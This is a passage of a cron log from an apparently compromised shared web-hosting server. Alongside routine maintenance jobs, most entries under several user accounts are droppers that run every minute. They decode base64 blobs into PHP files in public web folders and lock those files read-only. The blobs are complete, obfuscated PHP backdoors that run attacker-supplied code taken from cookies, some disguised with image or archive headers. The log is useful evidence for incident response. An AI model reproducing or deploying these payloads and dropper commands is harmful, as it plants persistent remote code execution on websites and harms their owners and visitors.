OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:45:01 medusa CROND[27445]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:45:01 medusa CROND[27446]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:45:01 medusa CROND[27456]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:45:01 medusa CROND[27455]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:45:01 medusa CROND[27457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:45:01 medusa CROND[27465]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:45:01 medusa CROND[27467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:45:01 medusa CROND[27469]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:45:01 medusa CROND[27471]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:45:01 medusa CROND[27466]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:45:01 medusa CROND[27477]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  1 12:46:01 medusa CROND[19881]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:46:01 medusa CROND[19882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:46:01 medusa CROND[19883]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:46:01 medusa CROND[19884]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:46:01 medusa CROND[19885]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:46:01 medusa CROND[19890]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:46:01 medusa CROND[19891]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:46:01 medusa CROND[19892]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:46:01 medusa CROND[19889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:46:01 medusa CROND[19895]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:46:01 medusa CROND[19896]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:46:01 medusa CROND[19897]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:46:01 medusa CROND[19903]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:46:01 medusa CROND[19904]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:46:01 medusa CROND[19906]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:47:02 medusa CROND[12992]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:47:02 medusa CROND[12994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:47:02 medusa CROND[12993]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:47:02 medusa CROND[12996]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 12:47:02 medusa CROND[12997]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:47:02 medusa CROND[12998]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:47:02 medusa CROND[12999]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:47:02 medusa CROND[13001]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:47:02 medusa CROND[13000]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:47:02 medusa CROND[13002]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:47:02 medusa CROND[13015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:47:02 medusa CROND[13017]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7